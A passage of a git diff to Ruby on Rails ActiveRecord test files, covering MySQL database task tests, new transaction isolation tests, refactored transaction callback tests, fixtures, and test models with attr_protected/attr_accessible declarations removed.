+ def test_creates_database_with_default_encoding_and_collation
@connection.expects(:create_database).
- with('my-app-db', {:charset => 'utf8', :collation => 'utf8_unicode_ci'})
+ with('my-app-db', charset: 'utf8', collation: 'utf8_unicode_ci')
ActiveRecord::Tasks::DatabaseTasks.create @configuration
end
- def test_creates_database_with_given_options
+ def test_creates_database_with_given_encoding_and_default_collation
@connection.expects(:create_database).
- with('my-app-db', {:charset => 'latin', :collation => 'latin_ci'})
+ with('my-app-db', charset: 'utf8', collation: 'utf8_unicode_ci')
- ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge(
- 'charset' => 'latin', 'collation' => 'latin_ci'
- )
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge('encoding' => 'utf8')
+ end
+
+ def test_creates_database_with_given_encoding_and_no_collation
+ @connection.expects(:create_database).
+ with('my-app-db', charset: 'latin1')
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge('encoding' => 'latin1')
+ end
+
+ def test_creates_database_with_given_collation_and_no_encoding
+ @connection.expects(:create_database).
+ with('my-app-db', collation: 'latin1_swedish_ci')
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge('collation' => 'latin1_swedish_ci')
end
def test_establishes_connection_to_database
@@ -62,8 +74,9 @@ module ActiveRecord
$stdout.stubs(:print).returns(nil)
@error.stubs(:errno).returns(1045)
ActiveRecord::Base.stubs(:connection).returns(@connection)
- ActiveRecord::Base.stubs(:establish_connection).raises(@error).then.
- returns(true)
+ ActiveRecord::Base.stubs(:establish_connection).
+ raises(@error).
+ then.returns(true)
end
def test_root_password_is_requested
@@ -74,12 +87,12 @@ module ActiveRecord
end
def test_connection_established_as_root
- ActiveRecord::Base.expects(:establish_connection).with({
+ ActiveRecord::Base.expects(:establish_connection).with(
'adapter' => 'mysql',
'database' => nil,
'username' => 'root',
'password' => 'secret'
- })
+ )
ActiveRecord::Tasks::DatabaseTasks.create @configuration
end
@@ -99,12 +112,12 @@ module ActiveRecord
def test_connection_established_as_normal_user
ActiveRecord::Base.expects(:establish_connection).returns do
- ActiveRecord::Base.expects(:establish_connection).with({
+ ActiveRecord::Base.expects(:establish_connection).with(
'adapter' => 'mysql',
'database' => 'my-app-db',
'username' => 'pat',
'password' => 'secret'
- })
+ )
raise @error
end
@@ -166,18 +179,17 @@ module ActiveRecord
def test_recreates_database_with_the_default_options
@connection.expects(:recreate_database).
- with('test-db', {:charset => 'utf8', :collation => 'utf8_unicode_ci'})
+ with('test-db', charset: 'utf8', collation: 'utf8_unicode_ci')
ActiveRecord::Tasks::DatabaseTasks.purge @configuration
end
def test_recreates_database_with_the_given_options
@connection.expects(:recreate_database).
- with('test-db', {:charset => 'latin', :collation => 'latin_ci'})
+ with('test-db', charset: 'latin', collation: 'latin1_swedish_ci')
ActiveRecord::Tasks::DatabaseTasks.purge @configuration.merge(
- 'charset' => 'latin', 'collation' => 'latin_ci'
- )
+ 'encoding' => 'latin', 'collation' => 'latin1_swedish_ci')
end
end
@@ -219,49 +231,33 @@ module ActiveRecord
class MySQLStructureDumpTest < ActiveRecord::TestCase
def setup
- @connection = stub(:structure_dump => true)
@configuration = {
'adapter' => 'mysql',
'database' => 'test-db'
}
-
- ActiveRecord::Base.stubs(:connection).returns(@connection)
- ActiveRecord::Base.stubs(:establish_connection).returns(true)
end
def test_structure_dump
filename = "awesome-file.sql"
- ActiveRecord::Base.expects(:establish_connection).with(@configuration)
- @connection.expects(:structure_dump)
+ Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "test-db")
ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
- assert File.exists?(filename)
- ensure
- FileUtils.rm(filename)
end
end
class MySQLStructureLoadTest < ActiveRecord::TestCase
def setup
- @connection = stub
@configuration = {
'adapter' => 'mysql',
'database' => 'test-db'
}
-
- ActiveRecord::Base.stubs(:connection).returns(@connection)
- ActiveRecord::Base.stubs(:establish_connection).returns(true)
end
def test_structure_load
filename = "awesome-file.sql"
- ActiveRecord::Base.expects(:establish_connection).with(@configuration)
- @connection.expects(:execute).twice
+ Kernel.expects(:system).with('mysql', '--execute', %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}, "--database", "test-db")
- open(filename, 'w') { |f| f.puts("SELECT CURDATE();") }
ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
- ensure
- FileUtils.rm(filename)
end
end
diff --git a/activerecord/test/cases/transaction_isolation_test.rb b/activerecord/test/cases/transaction_isolation_test.rb
new file mode 100644
index 0000000000..a396da6645
--- /dev/null
+++ b/activerecord/test/cases/transaction_isolation_test.rb
@@ -0,0 +1,114 @@
+require 'cases/helper'
+
+class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class Tag < ActiveRecord::Base
+ end
+
+ setup do
+ if ActiveRecord::Base.connection.supports_transaction_isolation?
+ skip "database supports transaction isolation; test is irrelevant"
+ end
+ end
+
+ test "setting the isolation level raises an error" do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(isolation: :serializable) { }
+ end
+ end
+end
+
+class TransactionIsolationTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class Tag < ActiveRecord::Base
+ self.table_name = 'tags'
+ end
+
+ class Tag2 < ActiveRecord::Base
+ self.table_name = 'tags'
+ end
+
+ setup do
+ unless ActiveRecord::Base.connection.supports_transaction_isolation?
+ skip "database does not support setting transaction isolation"
+ end
+
+ Tag.establish_connection 'arunit'
+ Tag2.establish_connection 'arunit'
+ Tag.destroy_all
+ end
+
+ # It is impossible to properly test read uncommitted. The SQL standard only
+ # specifies what must not happen at a certain level, not what must happen. At
+ # the read uncommitted level, there is nothing that must not happen.
+ test "read uncommitted" do
+ unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
+ skip "database does not support read uncommitted isolation level"
+ end
+ Tag.transaction(isolation: :read_uncommitted) do
+ assert_equal 0, Tag.count
+ Tag2.create
+ assert_equal 1, Tag.count
+ end
+ end
+
+ # We are testing that a dirty read does not happen
+ test "read committed" do
+ Tag.transaction(isolation: :read_committed) do
+ assert_equal 0, Tag.count
+
+ Tag2.transaction do
+ Tag2.create
+ assert_equal 0, Tag.count
+ end
+ end
+
+ assert_equal 1, Tag.count
+ end
+
+ # We are testing that a nonrepeatable read does not happen
+ test "repeatable read" do
+ unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
+ skip "database does not support repeatable read isolation level"
+ end
+ tag = Tag.create(name: 'jon')
+
+ Tag.transaction(isolation: :repeatable_read) do
+ tag.reload
+ Tag2.find(tag.id).update_attributes(name: 'emily')
+
+ tag.reload
+ assert_equal 'jon', tag.name
+ end
+
+ tag.reload
+ assert_equal 'emily', tag.name
+ end
+
+ # We are only testing that there are no errors because it's too hard to
+ # test serializable. Databases behave differently to enforce the serializability
+ # constraint.
+ test "serializable" do
+ Tag.transaction(isolation: :serializable) do
+ Tag.create
+ end
+ end
+
+ test "setting isolation when joining a transaction raises an error" do
+ Tag.transaction do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(isolation: :serializable) { }
+ end
+ end
+ end
+
+ test "setting isolation when starting a nested transaction raises error" do
+ Tag.transaction do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(requires_new: true, isolation: :serializable) { }
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
index d5597a68ad..bb4f2c8064 100644
--- a/activerecord/test/cases/transactions_test.rb
+++ b/activerecord/test/cases/transactions_test.rb
@@ -37,22 +37,23 @@ class TransactionTest < ActiveRecord::TestCase
end
def test_successful_with_return
- class << Topic.connection
+ committed = false
+
+ Topic.connection.class_eval do
alias :real_commit_db_transaction :commit_db_transaction
- def commit_db_transaction
- $committed = true
+ define_method(:commit_db_transaction) do
+ committed = true
real_commit_db_transaction
end
end
- $committed = false
transaction_with_return
- assert $committed
+ assert committed
assert Topic.find(1).approved?, "First should have been approved"
assert !Topic.find(2).approved?, "Second should have been unapproved"
ensure
- class << Topic.connection
+ Topic.connection.class_eval do
remove_method :commit_db_transaction
alias :commit_db_transaction :real_commit_db_transaction rescue nil
end
@@ -91,18 +92,14 @@ class TransactionTest < ActiveRecord::TestCase
end
def test_raising_exception_in_callback_rollbacks_in_save
- add_exception_raising_after_save_callback_to_topic
-
- begin
- @first.approved = true
- @first.save
- flunk
- rescue => e
- assert_equal "Make the transaction rollback", e.message
- assert !Topic.find(1).approved?
- ensure
- remove_exception_raising_after_save_callback_to_topic
+ def @first.after_save_for_transaction
+ raise 'Make the transaction rollback'
end
+
+ @first.approved = true
+ e = assert_raises(RuntimeError) { @first.save }
+ assert_equal "Make the transaction rollback", e.message
+ assert !Topic.find(1).approved?
end
def test_update_attributes_should_rollback_on_failure
@@ -125,100 +122,83 @@ class TransactionTest < ActiveRecord::TestCase
end
def test_cancellation_from_before_destroy_rollbacks_in_destroy
- add_cancelling_before_destroy_with_db_side_effect_to_topic
- begin
- nbooks_before_destroy = Book.count
- status = @first.destroy
- assert !status
- assert_nothing_raised(ActiveRecord::RecordNotFound) { @first.reload }
- assert_equal nbooks_before_destroy, Book.count
- ensure
- remove_cancelling_before_destroy_with_db_side_effect_to_topic
- end
+ add_cancelling_before_destroy_with_db_side_effect_to_topic @first
+ nbooks_before_destroy = Book.count
+ status = @first.destroy
+ assert !status
+ @first.reload
+ assert_equal nbooks_before_destroy, Book.count
end
- def test_cancellation_from_before_filters_rollbacks_in_save
- %w(validation save).each do |filter|
- send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic")
- begin
- nbooks_before_save = Book.count
- original_author_name = @first.author_name
- @first.author_name += '_this_should_not_end_up_in_the_db'
- status = @first.save
- assert !status
- assert_equal original_author_name, @first.reload.author_name
- assert_equal nbooks_before_save, Book.count
- ensure
- send("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic")
- end
+ %w(validation save).each do |filter|
+ define_method("test_cancellation_from_before_filters_rollbacks_in_#{filter}") do
+ send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic", @first)
+ nbooks_before_save = Book.count
+ original_author_name = @first.author_name
+ @first.author_name += '_this_should_not_end_up_in_the_db'
+ status = @first.save
+ assert !status
+ assert_equal original_author_name, @first.reload.author_name
+ assert_equal nbooks_before_save, Book.count
end
- end
- def test_cancellation_from_before_filters_rollbacks_in_save!
- %w(validation save).each do |filter|
- send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic")
+ define_method("test_cancellation_from_before_filters_rollbacks_in_#{filter}!") do
+ send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic", @first)
+ nbooks_before_save = Book.count
+ original_author_name = @first.author_name
+ @first.author_name += '_this_should_not_end_up_in_the_db'
+
begin
- nbooks_before_save = Book.count
- original_author_name = @first.author_name
- @first.author_name += '_this_should_not_end_up_in_the_db'
@first.save!
- flunk
- rescue
- assert_equal original_author_name, @first.reload.author_name
- assert_equal nbooks_before_save, Book.count
- ensure
- send("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic")
+ rescue ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved
end
+
+ assert_equal original_author_name, @first.reload.author_name
+ assert_equal nbooks_before_save, Book.count
end
end
def test_callback_rollback_in_create
- new_topic = Topic.new(
- :title => "A new topic",
- :author_name => "Ben",
- :author_email_address => "ben@example.com",
- :written_on => "2003-07-16t15:28:11.2233+01:00",
- :last_read => "2004-04-15",
- :bonus_time => "2005-01-30t15:28:00.00+01:00",
- :content => "Have a nice day",
- :approved => false)
+ topic = Class.new(Topic) {
+ def after_create_for_transaction
+ raise 'Make the transaction rollback'
+ end
+ }
+
+ new_topic = topic.new(:title => "A new topic",
+ :author_name => "Ben",
+ :author_email_address => "ben@example.com",
+ :written_on => "2003-07-16t15:28:11.2233+01:00",
+ :last_read => "2004-04-15",
+ :bonus_time => "2005-01-30t15:28:00.00+01:00",
+ :content => "Have a nice day",
+ :approved => false)
+
new_record_snapshot = !new_topic.persisted?
id_present = new_topic.has_attribute?(Topic.primary_key)
id_snapshot = new_topic.id
# Make sure the second save gets the after_create callback called.
2.times do
- begin
- add_exception_raising_after_create_callback_to_topic
- new_topic.approved = true
- new_topic.save
- flunk
- rescue => e
- assert_equal "Make the transaction rollback", e.message
- assert_equal new_record_snapshot, !new_topic.persisted?, "The topic should have its old persisted value"
- assert_equal id_snapshot, new_topic.id, "The topic should have its old id"
- assert_equal id_present, new_topic.has_attribute?(Topic.primary_key)
- ensure
- remove_exception_raising_after_create_callback_to_topic
- end
+ new_topic.approved = true
+ e = assert_raises(RuntimeError) { new_topic.save }
+ assert_equal "Make the transaction rollback", e.message
+ assert_equal new_record_snapshot, !new_topic.persisted?, "The topic should have its old persisted value"
+ assert_equal id_snapshot, new_topic.id, "The topic should have its old id"
+ assert_equal id_present, new_topic.has_attribute?(Topic.primary_key)
end
end
def test_callback_rollback_in_create_with_record_invalid_exception
- begin
- Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
- remove_method(:after_create_for_transaction)
- def after_create_for_transaction
- raise ActiveRecord::RecordInvalid.new(Author.new)
- end
- eoruby
+ topic = Class.new(Topic) {
+ def after_create_for_transaction
+ raise ActiveRecord::RecordInvalid.new(Author.new)
+ end
+ }
- new_topic = Topic.create(:title => "A new topic")
- assert !new_topic.persisted?, "The topic should not be persisted"
- assert_nil new_topic.id, "The topic should not have an ID"
- ensure
- remove_exception_raising_after_create_callback_to_topic
- end
+ new_topic = topic.create(:title => "A new topic")
+ assert !new_topic.persisted?, "The topic should not be persisted"
+ assert_nil new_topic.id, "The topic should not have an ID"
end
def test_nested_explicit_transactions
@@ -369,7 +349,6 @@ class TransactionTest < ActiveRecord::TestCase
def test_rollback_when_commit_raises
Topic.connection.expects(:begin_db_transaction)
Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
- Topic.connection.expects(:outside_transaction?).returns(false)
Topic.connection.expects(:rollback_db_transaction)
assert_raise RuntimeError do
@@ -418,31 +397,11 @@ class TransactionTest < ActiveRecord::TestCase
if current_adapter?(:PostgreSQLAdapter) && defined?(PGconn::PQTRANS_IDLE)
def test_outside_transaction_works
- assert Topic.connection.outside_transaction?
+ assert assert_deprecated { Topic.connection.outside_transaction? }
Topic.connection.begin_db_transaction
- assert !Topic.connection.outside_transaction?
+ assert assert_deprecated { !Topic.connection.outside_transaction? }
Topic.connection.rollback_db_transaction
- assert Topic.connection.outside_transaction?
- end
-
- def test_rollback_wont_be_executed_if_no_transaction_active
- assert_raise RuntimeError do
- Topic.transaction do
- Topic.connection.rollback_db_transaction
- Topic.connection.expects(:rollback_db_transaction).never
- raise "Rails doesn't scale!"
- end
- end
- end
-
- def test_open_transactions_count_is_reset_to_zero_if_no_transaction_active
- Topic.transaction do
- Topic.transaction do
- Topic.connection.rollback_db_transaction
- end
- assert_equal 0, Topic.connection.open_transactions
- end
- assert_equal 0, Topic.connection.open_transactions
+ assert assert_deprecated { Topic.connection.outside_transaction? }
end
end
@@ -478,62 +437,16 @@ class TransactionTest < ActiveRecord::TestCase
end
private
- def define_callback_method(callback_method)
- define_method(callback_method) do
- self.history << [callback_method, :method]
- end
- end
-
- def add_exception_raising_after_save_callback_to_topic
- Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
- remove_method(:after_save_for_transaction)
- def after_save_for_transaction
- raise 'Make the transaction rollback'
- end
- eoruby
- end
- def remove_exception_raising_after_save_callback_to_topic
- Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
- remove_method :after_save_for_transaction
- def after_save_for_transaction; end
- eoruby
- end
-
- def add_exception_raising_after_create_callback_to_topic
- Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
- remove_method(:after_create_for_transaction)
- def after_create_for_transaction
- raise 'Make the transaction rollback'
- end
- eoruby
- end
-
- def remove_exception_raising_after_create_callback_to_topic
- Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
- remove_method :after_create_for_transaction
- def after_create_for_transaction; end
- eoruby
- end
-
- %w(validation save destroy).each do |filter|
- define_method("add_cancelling_before_#{filter}_with_db_side_effect_to_topic") do
- Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
- remove_method :before_#{filter}_for_transaction
- def before_#{filter}_for_transaction
- Book.create
- false
- end
- eoruby
- end
-
- define_method("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic") do
- Topic.class_eval <<-eoruby, __FILE__, __LINE__ + 1
- remove_method :before_#{filter}_for_transaction
- def before_#{filter}_for_transaction; end
- eoruby
+ %w(validation save destroy).each do |filter|
+ define_method("add_cancelling_before_#{filter}_with_db_side_effect_to_topic") do |topic|
+ meta = class << topic; self; end
+ meta.send("define_method", "before_#{filter}_for_transaction") do
+ Book.create
+ false
end
end
+ end
end
class TransactionsWithTransactionalFixturesTest < ActiveRecord::TestCase
@@ -647,5 +560,14 @@ if current_adapter?(:PostgreSQLAdapter)
assert_equal original_salary, Developer.find(1).salary
end
+
+ test "#transaction_joinable= is deprecated" do
+ Developer.transaction do
+ conn = Developer.connection
+ assert conn.current_transaction.joinable?
+ assert_deprecated { conn.transaction_joinable = false }
+ assert !conn.current_transaction.joinable?
+ end
+ end
end
end
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index b11b330374..3f587d177b 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -7,12 +7,6 @@ require 'models/developer'
require 'models/parrot'
require 'models/company'
-class ProtectedPerson < ActiveRecord::Base
- self.table_name = 'people'
- attr_accessor :addon
- attr_protected :first_name
-end
-
class ValidationsTest < ActiveRecord::TestCase
fixtures :topics, :developers
diff --git a/activerecord/test/cases/xml_serialization_test.rb b/activerecord/test/cases/xml_serialization_test.rb
index 7249ae9e4d..68fa15de50 100644
--- a/activerecord/test/cases/xml_serialization_test.rb
+++ b/activerecord/test/cases/xml_serialization_test.rb
@@ -185,18 +185,18 @@ class NilXmlSerializationTest < ActiveRecord::TestCase
end
def test_should_serialize_string
- assert_match %r{<name nil="true"></name>}, @xml
+ assert_match %r{<name nil="true"/>}, @xml
end
def test_should_serialize_integer
- assert %r{<age (.*)></age>}.match(@xml)
+ assert %r{<age (.*)/>}.match(@xml)
attributes = $1
assert_match %r{nil="true"}, attributes
assert_match %r{type="integer"}, attributes
end
def test_should_serialize_binary
- assert %r{<avatar (.*)></avatar>}.match(@xml)
+ assert %r{<avatar (.*)/>}.match(@xml)
attributes = $1
assert_match %r{type="binary"}, attributes
assert_match %r{encoding="base64"}, attributes
@@ -204,21 +204,21 @@ class NilXmlSerializationTest < ActiveRecord::TestCase
end
def test_should_serialize_datetime
- assert %r{<created-at (.*)></created-at>}.match(@xml)
+ assert %r{<created-at (.*)/>}.match(@xml)
attributes = $1
assert_match %r{nil="true"}, attributes
assert_match %r{type="dateTime"}, attributes
end
def test_should_serialize_boolean
- assert %r{<awesome (.*)></awesome>}.match(@xml)
+ assert %r{<awesome (.*)/>}.match(@xml)
attributes = $1
assert_match %r{type="boolean"}, attributes
assert_match %r{nil="true"}, attributes
end
def test_should_serialize_yaml
- assert_match %r{<preferences nil=\"true\"></preferences>}, @xml
+ assert_match %r{<preferences nil=\"true\"/>}, @xml
end
end
diff --git a/activerecord/test/fixtures/companies.yml b/activerecord/test/fixtures/companies.yml
index a982d3921d..0766e92027 100644
--- a/activerecord/test/fixtures/companies.yml
+++ b/activerecord/test/fixtures/companies.yml
@@ -4,14 +4,12 @@ first_client:
firm_id: 1
client_of: 2
name: Summit
- ruby_type: Client
firm_name: 37signals
first_firm:
id: 1
type: Firm
name: 37signals
- ruby_type: Firm
firm_id: 1
second_client:
@@ -20,13 +18,11 @@ second_client:
firm_id: 1
client_of: 1
name: Microsoft
- ruby_type: Client
another_firm:
id: 4
type: Firm
name: Flamboyant Software
- ruby_type: Firm
another_client:
id: 5
@@ -34,7 +30,6 @@ another_client:
firm_id: 4
client_of: 4
name: Ex Nihilo
- ruby_type: Client
a_third_client:
id: 10
@@ -42,7 +37,6 @@ a_third_client:
firm_id: 4
client_of: 4
name: Ex Nihilo Part Deux
- ruby_type: Client
rails_core:
id: 6
diff --git a/activerecord/test/fixtures/friendships.yml b/activerecord/test/fixtures/friendships.yml
new file mode 100644
index 0000000000..1ee09175bf
--- /dev/null
+++ b/activerecord/test/fixtures/friendships.yml
@@ -0,0 +1,4 @@
+Connection 1:
+ id: 1
+ person_id: 1
+ friend_id: 2 \ No newline at end of file
diff --git a/activerecord/test/fixtures/people.yml b/activerecord/test/fixtures/people.yml
index 123673a2af..e640a38f1f 100644
--- a/activerecord/test/fixtures/people.yml
+++ b/activerecord/test/fixtures/people.yml
@@ -4,15 +4,18 @@ michael:
primary_contact_id: 2
number1_fan_id: 3
gender: M
+ followers_count: 1
david:
id: 2
first_name: David
primary_contact_id: 3
number1_fan_id: 1
gender: M
+ followers_count: 1
susan:
id: 3
first_name: Susan
primary_contact_id: 2
number1_fan_id: 1
gender: F
+ followers_count: 1
diff --git a/activerecord/test/fixtures/vegetables.yml b/activerecord/test/fixtures/vegetables.yml
new file mode 100644
index 0000000000..b9afbfbb05
--- /dev/null
+++ b/activerecord/test/fixtures/vegetables.yml
@@ -0,0 +1,20 @@
+first_cucumber:
+ id: 1
+ custom_type: Cucumber
+ name: 'my cucumber'
+
+first_cabbage:
+ id: 2
+ custom_type: Cabbage
+ name: 'my cabbage'
+
+second_cabbage:
+ id: 3
+ custom_type: Cabbage
+ name: 'his cabbage'
+
+red_cabbage:
+ id: 4
+ custom_type: RedCabbage
+ name: 'red cabbage'
+ seller_id: 3 \ No newline at end of file
diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb
index ad30039304..35170faa76 100644
--- a/activerecord/test/models/admin/user.rb
+++ b/activerecord/test/models/admin/user.rb
@@ -1,7 +1,16 @@
class Admin::User < ActiveRecord::Base
belongs_to :account
store :settings, :accessors => [ :color, :homepage ]
+ store_accessor :settings, :favorite_food, :phone_number
store :preferences, :accessors => [ :remember_login ]
store :json_data, :accessors => [ :height, :weight ], :coder => JSON
store :json_data_empty, :accessors => [ :is_a_good_guy ], :coder => JSON
+
+ def phone_number
+ read_store_attribute(:settings, :phone_number).gsub(/(\d{3})(\d{3})(\d{4})/,'(\1) \2-\3')
+ end
+
+ def phone_number=(value)
+ write_store_attribute(:settings, :phone_number, value && value.gsub(/[^\d]/,''))
+ end
end
diff --git a/activerecord/test/models/bulb.rb b/activerecord/test/models/bulb.rb
index 0dc2fdd8ae..e4c0278c0d 100644
--- a/activerecord/test/models/bulb.rb
+++ b/activerecord/test/models/bulb.rb
@@ -2,8 +2,6 @@ class Bulb < ActiveRecord::Base
default_scope { where(:name => 'defaulty') }
belongs_to :car
- attr_protected :car_id, :frickinawesome
-
attr_reader :scope_after_initialize, :attributes_after_initialize
after_initialize :record_scope_after_initialize
@@ -20,12 +18,12 @@ class Bulb < ActiveRecord::Base
self[:color] = color.upcase + "!"
end
- def self.new(attributes = {}, options = {}, &block)
+ def self.new(attributes = {}, &block)
bulb_type = (attributes || {}).delete(:bulb_type)
- if options && options[:as] == :admin && bulb_type.present?
+ if bulb_type.present?
bulb_class = "#{bulb_type.to_s.camelize}Bulb".constantize
- bulb_class.new(attributes, options, &block)
+ bulb_class.new(attributes, &block)
else
super
end
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
index 75f38d275c..17b17724e8 100644
--- a/activerecord/test/models/company.rb
+++ b/activerecord/test/models/company.rb
@@ -3,7 +3,6 @@ class AbstractCompany < ActiveRecord::Base
end
class Company < AbstractCompany
- attr_protected :rating
self.sequence_name = :companies_nonstd_seq
validates_presence_of :name
@@ -173,10 +172,6 @@ class Client < Company
before_destroy :overwrite_to_raise
# Used to test that read and question methods are not generated for these attributes
- def ruby_type
- read_attribute :ruby_type
- end
-
def rating?
query_attribute :rating
end
diff --git a/activerecord/test/models/company_in_module.rb b/activerecord/test/models/company_in_module.rb
index eb2aedc425..461bb0de09 100644
--- a/activerecord/test/models/company_in_module.rb
+++ b/activerecord/test/models/company_in_module.rb
@@ -3,7 +3,6 @@ require 'active_support/core_ext/object/with_options'
module MyApplication
module Business
class Company < ActiveRecord::Base
- attr_protected :rating
end
class Firm < Company
diff --git a/activerecord/test/models/friendship.rb b/activerecord/test/models/friendship.rb
new file mode 100644
index 0000000000..6b4f7acc38
--- /dev/null
+++ b/activerecord/test/models/friendship.rb
@@ -0,0 +1,4 @@
+class Friendship < ActiveRecord::Base
+ belongs_to :friend, class_name: 'Person'
+ belongs_to :follower, foreign_key: 'friend_id', class_name: 'Person', counter_cache: :followers_count
+end
diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb
index e204508986..6ad0cf6987 100644
--- a/activerecord/test/models/person.rb
+++ b/activerecord/test/models/person.rb
@@ -8,6 +8,8 @@ class Person < ActiveRecord::Base
has_many :posts_with_no_comments, -> { includes(:comments).where('comments.id is null').references(:comments) },
:through => :readers, :source => :post
+ has_many :followers, foreign_key: 'friend_id', class_name: 'Friendship'
+
has_many :references
has_many :bad_references
has_many :fixed_bad_references, -> { where :favourite => true }, :class_name => 'BadReference'
@@ -57,9 +59,6 @@ class LoosePerson < ActiveRecord::Base
self.table_name = 'people'
self.abstract_class = true
- attr_protected :comments, :best_friend_id, :best_friend_of_id
- attr_protected :as => :admin
-
has_one :best_friend, :class_name => 'LoosePerson', :foreign_key => :best_friend_id
belongs_to :best_friend_of, :class_name => 'LoosePerson', :foreign_key => :best_friend_of_id
has_many :best_friends, :class_name => 'LoosePerson', :foreign_key => :best_friend_id
@@ -72,11 +71,6 @@ class LooseDescendant < LoosePerson; end
class TightPerson < ActiveRecord::Base
self.table_name = 'people'
- attr_accessible :first_name, :gender
- attr_accessible :first_name, :gender, :comments, :as => :admin
- attr_accessible :best_friend_attributes, :best_friend_of_attributes, :best_friends_attributes
- attr_accessible :best_friend_attributes, :best_friend_of_attributes, :best_friends_attributes, :as => :admin
-
has_one :best_friend, :class_name => 'TightPerson', :foreign_key => :best_friend_id
belongs_to :best_friend_of, :class_name => 'TightPerson', :foreign_key => :best_friend_of_id
has_many :best_friends, :class_name => 'TightPerson', :foreign_key => :best_friend_id
@@ -95,10 +89,6 @@ end
class NestedPerson < ActiveRecord::Base
self.table_name = 'people'
- attr_accessible :first_name, :best_friend_first_name, :best_friend_attributes
- attr_accessible :first_name, :gender, :comments, :as => :admin
- attr_accessible :best_friend_attributes, :best_friend_first_name, :as => :admin
-
has_one :best_friend, :class_name => 'NestedPerson', :foreign_key => :best_friend_id
accepts_nested_attributes_for :best_friend, :update_only => true
diff --git a/activerecord/test/models/pirate.rb b/activerecord/test/models/pirate.rb
index 609b9369a9..170fc2ffe3 100644
--- a/activerecord/test/models/pirate.rb
+++ b/activerecord/test/models/pirate.rb
@@ -53,7 +53,7 @@ class Pirate < ActiveRecord::Base
attributes.delete('_reject_me_if_new').present? && !persisted?
end
- attr_accessor :cancel_save_from_callback
+ attr_accessor :cancel_save_from_callback, :parrots_limit
before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
def cancel_save_callback_method
false
diff --git a/activerecord/test/models/possession.rb b/activerecord/test/models/possession.rb
new file mode 100644
index 0000000000..ddf759113b
--- /dev/null
+++ b/activerecord/test/models/possession.rb
@@ -0,0 +1,3 @@
+class Possession < ActiveRecord::Base
+ self.table_name = 'having'
+end
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
index 9c5b7310ff..c995f59a15 100644
--- a/activerecord/test/models/post.rb
+++ b/activerecord/test/models/post.rb
@@ -119,6 +119,9 @@ class Post < ActiveRecord::Base
has_many :skimmers, -> { where :skimmer => true }, :class_name => 'Reader'
has_many :impatient_people, :through => :skimmers, :source => :person
+ has_many :lazy_readers
+ has_many :lazy_readers_skimmers_or_not, -> { where(skimmer: [ true, false ]) }, :class_name => 'LazyReader'
+
def self.top(limit)
ranked_by_comments.limit_by(limit)
end
diff --git a/activerecord/test/models/price_estimate.rb b/activerecord/test/models/price_estimate.rb
index ef3bba36a9..d09e2a88a3 100644
--- a/activerecord/test/models/price_estimate.rb
+++ b/activerecord/test/models/price_estimate.rb
@@ -1,3 +1,4 @@
class PriceEstimate < ActiveRecord::Base
belongs_to :estimate_of, :polymorphic => true
+ belongs_to :thing, polymorphic: true
end
diff --git a/activerecord/test/models/reader.rb b/activerecord/test/models/reader.rb
index 59005ac604..f8fb9c573e 100644
--- a/activerecord/test/models/reader.rb
+++ b/activerecord/test/models/reader.rb
@@ -9,6 +9,12 @@ class SecureReader < ActiveRecord::Base
belongs_to :secure_post, :class_name => "Post", :foreign_key => "post_id"
belongs_to :secure_person, :inverse_of => :secure_readers, :class_name => "Person", :foreign_key => "person_id"
+end
+
+class LazyReader < ActiveRecord::Base
+ self.table_name = "readers"
+ default_scope -> { where(skimmer: true) }
- attr_accessible nil
+ belongs_to :post
+ belongs_to :person
end
diff --git a/activerecord/test/models/reply.rb b/activerecord/test/models/reply.rb
index 53bc95e5f2..079e325aad 100644
--- a/activerecord/test/models/reply.rb
+++ b/activerecord/test/models/reply.rb
@@ -6,8 +6,6 @@ class Reply < Topic
belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true
belongs_to :topic_with_primary_key, :class_name => "Topic", :primary_key => "title", :foreign_key => "parent_title", :counter_cache => "replies_count"
has_many :replies, :class_name => "SillyReply", :dependent => :destroy, :foreign_key => "parent_id"
-
- attr_accessible :title, :author_name, :author_email_address, :written_on, :content, :last_read, :parent_title
end
class UniqueReply < Reply
